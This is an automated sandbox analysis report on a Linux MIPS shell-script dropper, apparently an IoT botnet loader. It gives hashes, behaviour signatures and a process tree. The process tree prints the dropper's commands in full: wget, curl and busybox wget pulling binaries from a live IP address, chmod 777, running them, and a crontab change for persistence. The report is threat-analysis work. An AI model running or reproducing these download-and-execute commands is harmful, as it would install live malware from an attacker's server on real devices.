Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 19:50

General

  • Target

    QR71Y_bins.sh

  • Size

    10KB

  • MD5

    1af48b59e54a461d801c58a2e6f2853e

  • SHA1

    d8ce0cc7e067bbcc17e7f02651135515cac789e0

  • SHA256

    8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af

  • SHA512

    984eab328dd823233835ab7ec678a632f3ad7671948c58ee5dceba6e0045e15f937a944c47263608dde996c12ab3284cb1230616d9e179db3332f0612c898eab

  • SSDEEP

    96:FhFtmK6NFXTn4C+dwkev3JSIxj4P8wkev3JUIxCI5mK6NFtdf42BhF3Cci:8Tn4C+dwkev3JSKFwkev3J4W

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1816) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/QR71Y_bins.sh
    /tmp/QR71Y_bins.sh
    1⤵
      PID:740
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:743
        • /usr/bin/wget
          wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:745
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:769
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:771
        • /bin/chmod
          chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • File and Directory Permissions Modification
          PID:772
        • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Executes dropped EXE
          PID:773
        • /bin/rm
          rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
            PID:775
          • /usr/bin/wget
            wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:776
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:777
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:778
          • /bin/chmod
            chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • File and Directory Permissions Modification
            PID:779
          • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Executes dropped EXE
            PID:780
          • /bin/rm
            rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
              PID:782
            • /usr/bin/wget
              wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:783
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:793
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:806
            • /bin/chmod
              chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • File and Directory Permissions Modification
              PID:813
            • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Executes dropped EXE
              PID:815
            • /bin/rm
              rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
                PID:817
              • /usr/bin/wget
                wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:819
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:835
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:837
              • /bin/chmod
                chmod 777 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • File and Directory Permissions Modification
                PID:838
              • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                ./2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Executes dropped EXE
                PID:839
              • /bin/rm
                rm 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                  PID:841
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Writes file to tmp directory
                  PID:852
                • /bin/chmod
                  chmod 777 tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • File and Directory Permissions Modification
                  PID:859
                • /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  ./tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Executes dropped EXE
                  PID:860
                • /bin/rm
                  rm tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                    PID:864
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Writes file to tmp directory
                    PID:865
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Writes file to tmp directory
                    PID:878
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Writes file to tmp directory
                    PID:881
                  • /bin/chmod
                    chmod 777 ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • File and Directory Permissions Modification
                    PID:882
                  • /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    ./ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:883
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:885
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:886
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:887
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:888
                        • /bin/rm
                          rm ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                          2⤵
                            PID:890
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                            2⤵
                            • System Network Configuration Discovery
                            PID:893

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.dmBruh

                          Filesize

                          210B

                          MD5

                          d014d4f07752b7a56c235f068f1240ab

                          SHA1

                          019a79677bdfb79e351c4b20a5141f302cc42612

                          SHA256

                          73297341d71cd8f701eaeff483c413f0a4c5d57cfb8f80a02d1b65d789d7fb0f

                          SHA512

                          948f2056bcede5782c899393d5856fb921d27c6c88a925298fb1344ae157ce2f18e893f98e0216d491908ad9c17d405d980f5c1b5b85d02c853e4c4dbbe8130f